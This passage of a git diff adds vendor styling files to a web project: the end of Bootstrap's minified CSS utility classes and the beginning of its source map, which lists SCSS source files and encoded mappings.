(min-width:1200px){.float-xl-left{float:left!important}.float-xl-right{float:right!important}.float-xl-none{float:none!important}}.position-static{position:static!important}.position-relative{position:relative!important}.position-absolute{position:absolute!important}.position-fixed{position:fixed!important}.position-sticky{position:-webkit-sticky!important;position:sticky!important}.fixed-top{position:fixed;top:0;right:0;left:0;z-index:1030}.fixed-bottom{position:fixed;right:0;bottom:0;left:0;z-index:1030}@supports ((position:-webkit-sticky) or (position:sticky)){.sticky-top{position:-webkit-sticky;position:sticky;top:0;z-index:1020}}.sr-only{position:absolute;width:1px;height:1px;padding:0;overflow:hidden;clip:rect(0,0,0,0);white-space:nowrap;border:0}.sr-only-focusable:active,.sr-only-focusable:focus{position:static;width:auto;height:auto;overflow:visible;clip:auto;white-space:normal}.shadow-sm{box-shadow:0 .125rem .25rem rgba(0,0,0,.075)!important}.shadow{box-shadow:0 .5rem 1rem rgba(0,0,0,.15)!important}.shadow-lg{box-shadow:0 1rem 3rem rgba(0,0,0,.175)!important}.shadow-none{box-shadow:none!important}.w-25{width:25%!important}.w-50{width:50%!important}.w-75{width:75%!important}.w-100{width:100%!important}.w-auto{width:auto!important}.h-25{height:25%!important}.h-50{height:50%!important}.h-75{height:75%!important}.h-100{height:100%!important}.h-auto{height:auto!important}.mw-100{max-width:100%!important}.mh-100{max-height:100%!important}.m-0{margin:0!important}.mt-0,.my-0{margin-top:0!important}.mr-0,.mx-0{margin-right:0!important}.mb-0,.my-0{margin-bottom:0!important}.ml-0,.mx-0{margin-left:0!important}.m-1{margin:.25rem!important}.mt-1,.my-1{margin-top:.25rem!important}.mr-1,.mx-1{margin-right:.25rem!important}.mb-1,.my-1{margin-bottom:.25rem!important}.ml-1,.mx-1{margin-left:.25rem!important}.m-2{margin:.5rem!important}.mt-2,.my-2{margin-top:.5rem!important}.mr-2,.mx-2{margin-right:.5rem!important}.mb-2,.my-2{margin-bottom:.5rem!important}.ml-2,.mx-2{margin-left:.5rem!important}.m-3{margin:1rem!important}.mt-3,.my-3{margin-top:1rem!important}.mr-3,.mx-3{margin-right:1rem!important}.mb-3,.my-3{margin-bottom:1rem!important}.ml-3,.mx-3{margin-left:1rem!important}.m-4{margin:1.5rem!important}.mt-4,.my-4{margin-top:1.5rem!important}.mr-4,.mx-4{margin-right:1.5rem!important}.mb-4,.my-4{margin-bottom:1.5rem!important}.ml-4,.mx-4{margin-left:1.5rem!important}.m-5{margin:3rem!important}.mt-5,.my-5{margin-top:3rem!important}.mr-5,.mx-5{margin-right:3rem!important}.mb-5,.my-5{margin-bottom:3rem!important}.ml-5,.mx-5{margin-left:3rem!important}.p-0{padding:0!important}.pt-0,.py-0{padding-top:0!important}.pr-0,.px-0{padding-right:0!important}.pb-0,.py-0{padding-bottom:0!important}.pl-0,.px-0{padding-left:0!important}.p-1{padding:.25rem!important}.pt-1,.py-1{padding-top:.25rem!important}.pr-1,.px-1{padding-right:.25rem!important}.pb-1,.py-1{padding-bottom:.25rem!important}.pl-1,.px-1{padding-left:.25rem!important}.p-2{padding:.5rem!important}.pt-2,.py-2{padding-top:.5rem!important}.pr-2,.px-2{padding-right:.5rem!important}.pb-2,.py-2{padding-bottom:.5rem!important}.pl-2,.px-2{padding-left:.5rem!important}.p-3{padding:1rem!important}.pt-3,.py-3{padding-top:1rem!important}.pr-3,.px-3{padding-right:1rem!important}.pb-3,.py-3{padding-bottom:1rem!important}.pl-3,.px-3{padding-left:1rem!important}.p-4{padding:1.5rem!important}.pt-4,.py-4{padding-top:1.5rem!important}.pr-4,.px-4{padding-right:1.5rem!important}.pb-4,.py-4{padding-bottom:1.5rem!important}.pl-4,.px-4{padding-left:1.5rem!important}.p-5{padding:3rem!important}.pt-5,.py-5{padding-top:3rem!important}.pr-5,.px-5{padding-right:3rem!important}.pb-5,.py-5{padding-bottom:3rem!important}.pl-5,.px-5{padding-left:3rem!important}.m-auto{margin:auto!important}.mt-auto,.my-auto{margin-top:auto!important}.mr-auto,.mx-auto{margin-right:auto!important}.mb-auto,.my-auto{margin-bottom:auto!important}.ml-auto,.mx-auto{margin-left:auto!important}@media (min-width:576px){.m-sm-0{margin:0!important}.mt-sm-0,.my-sm-0{margin-top:0!important}.mr-sm-0,.mx-sm-0{margin-right:0!important}.mb-sm-0,.my-sm-0{margin-bottom:0!important}.ml-sm-0,.mx-sm-0{margin-left:0!important}.m-sm-1{margin:.25rem!important}.mt-sm-1,.my-sm-1{margin-top:.25rem!important}.mr-sm-1,.mx-sm-1{margin-right:.25rem!important}.mb-sm-1,.my-sm-1{margin-bottom:.25rem!important}.ml-sm-1,.mx-sm-1{margin-left:.25rem!important}.m-sm-2{margin:.5rem!important}.mt-sm-2,.my-sm-2{margin-top:.5rem!important}.mr-sm-2,.mx-sm-2{margin-right:.5rem!important}.mb-sm-2,.my-sm-2{margin-bottom:.5rem!important}.ml-sm-2,.mx-sm-2{margin-left:.5rem!important}.m-sm-3{margin:1rem!important}.mt-sm-3,.my-sm-3{margin-top:1rem!important}.mr-sm-3,.mx-sm-3{margin-right:1rem!important}.mb-sm-3,.my-sm-3{margin-bottom:1rem!important}.ml-sm-3,.mx-sm-3{margin-left:1rem!important}.m-sm-4{margin:1.5rem!important}.mt-sm-4,.my-sm-4{margin-top:1.5rem!important}.mr-sm-4,.mx-sm-4{margin-right:1.5rem!important}.mb-sm-4,.my-sm-4{margin-bottom:1.5rem!important}.ml-sm-4,.mx-sm-4{margin-left:1.5rem!important}.m-sm-5{margin:3rem!important}.mt-sm-5,.my-sm-5{margin-top:3rem!important}.mr-sm-5,.mx-sm-5{margin-right:3rem!important}.mb-sm-5,.my-sm-5{margin-bottom:3rem!important}.ml-sm-5,.mx-sm-5{margin-left:3rem!important}.p-sm-0{padding:0!important}.pt-sm-0,.py-sm-0{padding-top:0!important}.pr-sm-0,.px-sm-0{padding-right:0!important}.pb-sm-0,.py-sm-0{padding-bottom:0!important}.pl-sm-0,.px-sm-0{padding-left:0!important}.p-sm-1{padding:.25rem!important}.pt-sm-1,.py-sm-1{padding-top:.25rem!important}.pr-sm-1,.px-sm-1{padding-right:.25rem!important}.pb-sm-1,.py-sm-1{padding-bottom:.25rem!important}.pl-sm-1,.px-sm-1{padding-left:.25rem!important}.p-sm-2{padding:.5rem!important}.pt-sm-2,.py-sm-2{padding-top:.5rem!important}.pr-sm-2,.px-sm-2{padding-right:.5rem!important}.pb-sm-2,.py-sm-2{padding-bottom:.5rem!important}.pl-sm-2,.px-sm-2{padding-left:.5rem!important}.p-sm-3{padding:1rem!important}.pt-sm-3,.py-sm-3{padding-top:1rem!important}.pr-sm-3,.px-sm-3{padding-right:1rem!important}.pb-sm-3,.py-sm-3{padding-bottom:1rem!important}.pl-sm-3,.px-sm-3{padding-left:1rem!important}.p-sm-4{padding:1.5rem!important}.pt-sm-4,.py-sm-4{padding-top:1.5rem!important}.pr-sm-4,.px-sm-4{padding-right:1.5rem!important}.pb-sm-4,.py-sm-4{padding-bottom:1.5rem!important}.pl-sm-4,.px-sm-4{padding-left:1.5rem!important}.p-sm-5{padding:3rem!important}.pt-sm-5,.py-sm-5{padding-top:3rem!important}.pr-sm-5,.px-sm-5{padding-right:3rem!important}.pb-sm-5,.py-sm-5{padding-bottom:3rem!important}.pl-sm-5,.px-sm-5{padding-left:3rem!important}.m-sm-auto{margin:auto!important}.mt-sm-auto,.my-sm-auto{margin-top:auto!important}.mr-sm-auto,.mx-sm-auto{margin-right:auto!important}.mb-sm-auto,.my-sm-auto{margin-bottom:auto!important}.ml-sm-auto,.mx-sm-auto{margin-left:auto!important}}@media (min-width:768px){.m-md-0{margin:0!important}.mt-md-0,.my-md-0{margin-top:0!important}.mr-md-0,.mx-md-0{margin-right:0!important}.mb-md-0,.my-md-0{margin-bottom:0!important}.ml-md-0,.mx-md-0{margin-left:0!important}.m-md-1{margin:.25rem!important}.mt-md-1,.my-md-1{margin-top:.25rem!important}.mr-md-1,.mx-md-1{margin-right:.25rem!important}.mb-md-1,.my-md-1{margin-bottom:.25rem!important}.ml-md-1,.mx-md-1{margin-left:.25rem!important}.m-md-2{margin:.5rem!important}.mt-md-2,.my-md-2{margin-top:.5rem!important}.mr-md-2,.mx-md-2{margin-right:.5rem!important}.mb-md-2,.my-md-2{margin-bottom:.5rem!important}.ml-md-2,.mx-md-2{margin-left:.5rem!important}.m-md-3{margin:1rem!important}.mt-md-3,.my-md-3{margin-top:1rem!important}.mr-md-3,.mx-md-3{margin-right:1rem!important}.mb-md-3,.my-md-3{margin-bottom:1rem!important}.ml-md-3,.mx-md-3{margin-left:1rem!important}.m-md-4{margin:1.5rem!important}.mt-md-4,.my-md-4{margin-top:1.5rem!important}.mr-md-4,.mx-md-4{margin-right:1.5rem!important}.mb-md-4,.my-md-4{margin-bottom:1.5rem!important}.ml-md-4,.mx-md-4{margin-left:1.5rem!important}.m-md-5{margin:3rem!important}.mt-md-5,.my-md-5{margin-top:3rem!important}.mr-md-5,.mx-md-5{margin-right:3rem!important}.mb-md-5,.my-md-5{margin-bottom:3rem!important}.ml-md-5,.mx-md-5{margin-left:3rem!important}.p-md-0{padding:0!important}.pt-md-0,.py-md-0{padding-top:0!important}.pr-md-0,.px-md-0{padding-right:0!important}.pb-md-0,.py-md-0{padding-bottom:0!important}.pl-md-0,.px-md-0{padding-left:0!important}.p-md-1{padding:.25rem!important}.pt-md-1,.py-md-1{padding-top:.25rem!important}.pr-md-1,.px-md-1{padding-right:.25rem!important}.pb-md-1,.py-md-1{padding-bottom:.25rem!important}.pl-md-1,.px-md-1{padding-left:.25rem!important}.p-md-2{padding:.5rem!important}.pt-md-2,.py-md-2{padding-top:.5rem!important}.pr-md-2,.px-md-2{padding-right:.5rem!important}.pb-md-2,.py-md-2{padding-bottom:.5rem!important}.pl-md-2,.px-md-2{padding-left:.5rem!important}.p-md-3{padding:1rem!important}.pt-md-3,.py-md-3{padding-top:1rem!important}.pr-md-3,.px-md-3{padding-right:1rem!important}.pb-md-3,.py-md-3{padding-bottom:1rem!important}.pl-md-3,.px-md-3{padding-left:1rem!important}.p-md-4{padding:1.5rem!important}.pt-md-4,.py-md-4{padding-top:1.5rem!important}.pr-md-4,.px-md-4{padding-right:1.5rem!important}.pb-md-4,.py-md-4{padding-bottom:1.5rem!important}.pl-md-4,.px-md-4{padding-left:1.5rem!important}.p-md-5{padding:3rem!important}.pt-md-5,.py-md-5{padding-top:3rem!important}.pr-md-5,.px-md-5{padding-right:3rem!important}.pb-md-5,.py-md-5{padding-bottom:3rem!important}.pl-md-5,.px-md-5{padding-left:3rem!important}.m-md-auto{margin:auto!important}.mt-md-auto,.my-md-auto{margin-top:auto!important}.mr-md-auto,.mx-md-auto{margin-right:auto!important}.mb-md-auto,.my-md-auto{margin-bottom:auto!important}.ml-md-auto,.mx-md-auto{margin-left:auto!important}}@media (min-width:992px){.m-lg-0{margin:0!important}.mt-lg-0,.my-lg-0{margin-top:0!important}.mr-lg-0,.mx-lg-0{margin-right:0!important}.mb-lg-0,.my-lg-0{margin-bottom:0!important}.ml-lg-0,.mx-lg-0{margin-left:0!important}.m-lg-1{margin:.25rem!important}.mt-lg-1,.my-lg-1{margin-top:.25rem!important}.mr-lg-1,.mx-lg-1{margin-right:.25rem!important}.mb-lg-1,.my-lg-1{margin-bottom:.25rem!important}.ml-lg-1,.mx-lg-1{margin-left:.25rem!important}.m-lg-2{margin:.5rem!important}.mt-lg-2,.my-lg-2{margin-top:.5rem!important}.mr-lg-2,.mx-lg-2{margin-right:.5rem!important}.mb-lg-2,.my-lg-2{margin-bottom:.5rem!important}.ml-lg-2,.mx-lg-2{margin-left:.5rem!important}.m-lg-3{margin:1rem!important}.mt-lg-3,.my-lg-3{margin-top:1rem!important}.mr-lg-3,.mx-lg-3{margin-right:1rem!important}.mb-lg-3,.my-lg-3{margin-bottom:1rem!important}.ml-lg-3,.mx-lg-3{margin-left:1rem!important}.m-lg-4{margin:1.5rem!important}.mt-lg-4,.my-lg-4{margin-top:1.5rem!important}.mr-lg-4,.mx-lg-4{margin-right:1.5rem!important}.mb-lg-4,.my-lg-4{margin-bottom:1.5rem!important}.ml-lg-4,.mx-lg-4{margin-left:1.5rem!important}.m-lg-5{margin:3rem!important}.mt-lg-5,.my-lg-5{margin-top:3rem!important}.mr-lg-5,.mx-lg-5{margin-right:3rem!important}.mb-lg-5,.my-lg-5{margin-bottom:3rem!important}.ml-lg-5,.mx-lg-5{margin-left:3rem!important}.p-lg-0{padding:0!important}.pt-lg-0,.py-lg-0{padding-top:0!important}.pr-lg-0,.px-lg-0{padding-right:0!important}.pb-lg-0,.py-lg-0{padding-bottom:0!important}.pl-lg-0,.px-lg-0{padding-left:0!important}.p-lg-1{padding:.25rem!important}.pt-lg-1,.py-lg-1{padding-top:.25rem!important}.pr-lg-1,.px-lg-1{padding-right:.25rem!important}.pb-lg-1,.py-lg-1{padding-bottom:.25rem!important}.pl-lg-1,.px-lg-1{padding-left:.25rem!important}.p-lg-2{padding:.5rem!important}.pt-lg-2,.py-lg-2{padding-top:.5rem!important}.pr-lg-2,.px-lg-2{padding-right:.5rem!important}.pb-lg-2,.py-lg-2{padding-bottom:.5rem!important}.pl-lg-2,.px-lg-2{padding-left:.5rem!important}.p-lg-3{padding:1rem!important}.pt-lg-3,.py-lg-3{padding-top:1rem!important}.pr-lg-3,.px-lg-3{padding-right:1rem!important}.pb-lg-3,.py-lg-3{padding-bottom:1rem!important}.pl-lg-3,.px-lg-3{padding-left:1rem!important}.p-lg-4{padding:1.5rem!important}.pt-lg-4,.py-lg-4{padding-top:1.5rem!important}.pr-lg-4,.px-lg-4{padding-right:1.5rem!important}.pb-lg-4,.py-lg-4{padding-bottom:1.5rem!important}.pl-lg-4,.px-lg-4{padding-left:1.5rem!important}.p-lg-5{padding:3rem!important}.pt-lg-5,.py-lg-5{padding-top:3rem!important}.pr-lg-5,.px-lg-5{padding-right:3rem!important}.pb-lg-5,.py-lg-5{padding-bottom:3rem!important}.pl-lg-5,.px-lg-5{padding-left:3rem!important}.m-lg-auto{margin:auto!important}.mt-lg-auto,.my-lg-auto{margin-top:auto!important}.mr-lg-auto,.mx-lg-auto{margin-right:auto!important}.mb-lg-auto,.my-lg-auto{margin-bottom:auto!important}.ml-lg-auto,.mx-lg-auto{margin-left:auto!important}}@media (min-width:1200px){.m-xl-0{margin:0!important}.mt-xl-0,.my-xl-0{margin-top:0!important}.mr-xl-0,.mx-xl-0{margin-right:0!important}.mb-xl-0,.my-xl-0{margin-bottom:0!important}.ml-xl-0,.mx-xl-0{margin-left:0!important}.m-xl-1{margin:.25rem!important}.mt-xl-1,.my-xl-1{margin-top:.25rem!important}.mr-xl-1,.mx-xl-1{margin-right:.25rem!important}.mb-xl-1,.my-xl-1{margin-bottom:.25rem!important}.ml-xl-1,.mx-xl-1{margin-left:.25rem!important}.m-xl-2{margin:.5rem!important}.mt-xl-2,.my-xl-2{margin-top:.5rem!important}.mr-xl-2,.mx-xl-2{margin-right:.5rem!important}.mb-xl-2,.my-xl-2{margin-bottom:.5rem!important}.ml-xl-2,.mx-xl-2{margin-left:.5rem!important}.m-xl-3{margin:1rem!important}.mt-xl-3,.my-xl-3{margin-top:1rem!important}.mr-xl-3,.mx-xl-3{margin-right:1rem!important}.mb-xl-3,.my-xl-3{margin-bottom:1rem!important}.ml-xl-3,.mx-xl-3{margin-left:1rem!important}.m-xl-4{margin:1.5rem!important}.mt-xl-4,.my-xl-4{margin-top:1.5rem!important}.mr-xl-4,.mx-xl-4{margin-right:1.5rem!important}.mb-xl-4,.my-xl-4{margin-bottom:1.5rem!important}.ml-xl-4,.mx-xl-4{margin-left:1.5rem!important}.m-xl-5{margin:3rem!important}.mt-xl-5,.my-xl-5{margin-top:3rem!important}.mr-xl-5,.mx-xl-5{margin-right:3rem!important}.mb-xl-5,.my-xl-5{margin-bottom:3rem!important}.ml-xl-5,.mx-xl-5{margin-left:3rem!important}.p-xl-0{padding:0!important}.pt-xl-0,.py-xl-0{padding-top:0!important}.pr-xl-0,.px-xl-0{padding-right:0!important}.pb-xl-0,.py-xl-0{padding-bottom:0!important}.pl-xl-0,.px-xl-0{padding-left:0!important}.p-xl-1{padding:.25rem!important}.pt-xl-1,.py-xl-1{padding-top:.25rem!important}.pr-xl-1,.px-xl-1{padding-right:.25rem!important}.pb-xl-1,.py-xl-1{padding-bottom:.25rem!important}.pl-xl-1,.px-xl-1{padding-left:.25rem!important}.p-xl-2{padding:.5rem!important}.pt-xl-2,.py-xl-2{padding-top:.5rem!important}.pr-xl-2,.px-xl-2{padding-right:.5rem!important}.pb-xl-2,.py-xl-2{padding-bottom:.5rem!important}.pl-xl-2,.px-xl-2{padding-left:.5rem!important}.p-xl-3{padding:1rem!important}.pt-xl-3,.py-xl-3{padding-top:1rem!important}.pr-xl-3,.px-xl-3{padding-right:1rem!important}.pb-xl-3,.py-xl-3{padding-bottom:1rem!important}.pl-xl-3,.px-xl-3{padding-left:1rem!important}.p-xl-4{padding:1.5rem!important}.pt-xl-4,.py-xl-4{padding-top:1.5rem!important}.pr-xl-4,.px-xl-4{padding-right:1.5rem!important}.pb-xl-4,.py-xl-4{padding-bottom:1.5rem!important}.pl-xl-4,.px-xl-4{padding-left:1.5rem!important}.p-xl-5{padding:3rem!important}.pt-xl-5,.py-xl-5{padding-top:3rem!important}.pr-xl-5,.px-xl-5{padding-right:3rem!important}.pb-xl-5,.py-xl-5{padding-bottom:3rem!important}.pl-xl-5,.px-xl-5{padding-left:3rem!important}.m-xl-auto{margin:auto!important}.mt-xl-auto,.my-xl-auto{margin-top:auto!important}.mr-xl-auto,.mx-xl-auto{margin-right:auto!important}.mb-xl-auto,.my-xl-auto{margin-bottom:auto!important}.ml-xl-auto,.mx-xl-auto{margin-left:auto!important}}.text-monospace{font-family:SFMono-Regular,Menlo,Monaco,Consolas,"Liberation Mono","Courier New",monospace}.text-justify{text-align:justify!important}.text-nowrap{white-space:nowrap!important}.text-truncate{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.text-left{text-align:left!important}.text-right{text-align:right!important}.text-center{text-align:center!important}@media (min-width:576px){.text-sm-left{text-align:left!important}.text-sm-right{text-align:right!important}.text-sm-center{text-align:center!important}}@media (min-width:768px){.text-md-left{text-align:left!important}.text-md-right{text-align:right!important}.text-md-center{text-align:center!important}}@media (min-width:992px){.text-lg-left{text-align:left!important}.text-lg-right{text-align:right!important}.text-lg-center{text-align:center!important}}@media (min-width:1200px){.text-xl-left{text-align:left!important}.text-xl-right{text-align:right!important}.text-xl-center{text-align:center!important}}.text-lowercase{text-transform:lowercase!important}.text-uppercase{text-transform:uppercase!important}.text-capitalize{text-transform:capitalize!important}.font-weight-light{font-weight:300!important}.font-weight-normal{font-weight:400!important}.font-weight-bold{font-weight:700!important}.font-italic{font-style:italic!important}.text-white{color:#fff!important}.text-primary{color:#007bff!important}a.text-primary:focus,a.text-primary:hover{color:#0062cc!important}.text-secondary{color:#6c757d!important}a.text-secondary:focus,a.text-secondary:hover{color:#545b62!important}.text-success{color:#28a745!important}a.text-success:focus,a.text-success:hover{color:#1e7e34!important}.text-info{color:#17a2b8!important}a.text-info:focus,a.text-info:hover{color:#117a8b!important}.text-warning{color:#ffc107!important}a.text-warning:focus,a.text-warning:hover{color:#d39e00!important}.text-danger{color:#dc3545!important}a.text-danger:focus,a.text-danger:hover{color:#bd2130!important}.text-light{color:#f8f9fa!important}a.text-light:focus,a.text-light:hover{color:#dae0e5!important}.text-dark{color:#343a40!important}a.text-dark:focus,a.text-dark:hover{color:#1d2124!important}.text-body{color:#212529!important}.text-muted{color:#6c757d!important}.text-black-50{color:rgba(0,0,0,.5)!important}.text-white-50{color:rgba(255,255,255,.5)!important}.text-hide{font:0/0 a;color:transparent;text-shadow:none;background-color:transparent;border:0}.visible{visibility:visible!important}.invisible{visibility:hidden!important}@media print{*,::after,::before{text-shadow:none!important;box-shadow:none!important}a:not(.btn){text-decoration:underline}abbr[title]::after{content:" (" attr(title) ")"}pre{white-space:pre-wrap!important}blockquote,pre{border:1px solid #adb5bd;page-break-inside:avoid}thead{display:table-header-group}img,tr{page-break-inside:avoid}h2,h3,p{orphans:3;widows:3}h2,h3{page-break-after:avoid}@page{size:a3}body{min-width:992px!important}.container{min-width:992px!important}.navbar{display:none}.badge{border:1px solid #000}.table{border-collapse:collapse!important}.table td,.table th{background-color:#fff!important}.table-bordered td,.table-bordered th{border:1px solid #dee2e6!important}}
+/*# sourceMappingURL=bootstrap.min.css.map */
\ No newline at end of file
diff --git a/public/css/bootstrap.min.css.map b/public/css/bootstrap.min.css.map
new file mode 100644
index 0000000..2d5a149
--- /dev/null
+++ b/public/css/bootstrap.min.css.map
@@ -0,0 +1 @@
+{"version":3,"sources":["../../scss/bootstrap.scss","../../scss/_root.scss","../../scss/_reboot.scss","dist/css/bootstrap.css","bootstrap.css","../../scss/mixins/_hover.scss","../../scss/_type.scss","../../scss/mixins/_lists.scss","../../scss/_images.scss","../../scss/mixins/_image.scss","../../scss/mixins/_border-radius.scss","../../scss/_code.scss","../../scss/_grid.scss","../../scss/mixins/_grid.scss","../../scss/mixins/_breakpoints.scss","../../scss/mixins/_grid-framework.scss","../../scss/_tables.scss","../../scss/mixins/_table-row.scss","../../scss/_forms.scss","../../scss/mixins/_transition.scss","../../scss/mixins/_forms.scss","../../scss/mixins/_gradients.scss","../../scss/_buttons.scss","../../scss/mixins/_buttons.scss","../../scss/_transitions.scss","../../scss/_dropdown.scss","../../scss/mixins/_caret.scss","../../scss/mixins/_nav-divider.scss","../../scss/_button-group.scss","../../scss/_input-group.scss","../../scss/_custom-forms.scss","../../scss/_nav.scss","../../scss/_navbar.scss","../../scss/_card.scss","../../scss/_breadcrumb.scss","../../scss/_pagination.scss","../../scss/mixins/_pagination.scss","../../scss/_badge.scss","../../scss/mixins/_badge.scss","../../scss/_jumbotron.scss","../../scss/_alert.scss","../../scss/mixins/_alert.scss","../../scss/_progress.scss","../../scss/_media.scss","../../scss/_list-group.scss","../../scss/mixins/_list-group.scss","../../scss/_close.scss","../../scss/_modal.scss","../../scss/_tooltip.scss","../../scss/mixins/_reset-text.scss","../../scss/_popover.scss","../../scss/_carousel.scss","../../scss/utilities/_align.scss","../../scss/mixins/_background-variant.scss","../../scss/utilities/_background.scss","../../scss/utilities/_borders.scss","../../scss/mixins/_clearfix.scss","../../scss/utilities/_display.scss","../../scss/utilities/_embed.scss","../../scss/utilities/_flex.scss","../../scss/utilities/_float.scss","../../scss/mixins/_float.scss","../../scss/utilities/_position.scss","../../scss/utilities/_screenreaders.scss","../../scss/mixins/_screen-reader.scss","../../scss/utilities/_shadows.scss","../../scss/utilities/_sizing.scss","../../scss/utilities/_spacing.scss","../../scss/utilities/_text.scss","../../scss/mixins/_text-truncate.scss","../../scss/mixins/_text-emphasis.scss","../../scss/mixins/_text-hide.scss","../../scss/utilities/_visibility.scss","../../scss/mixins/_visibility.scss","../../scss/_print.scss"],"names":[],"mappings":"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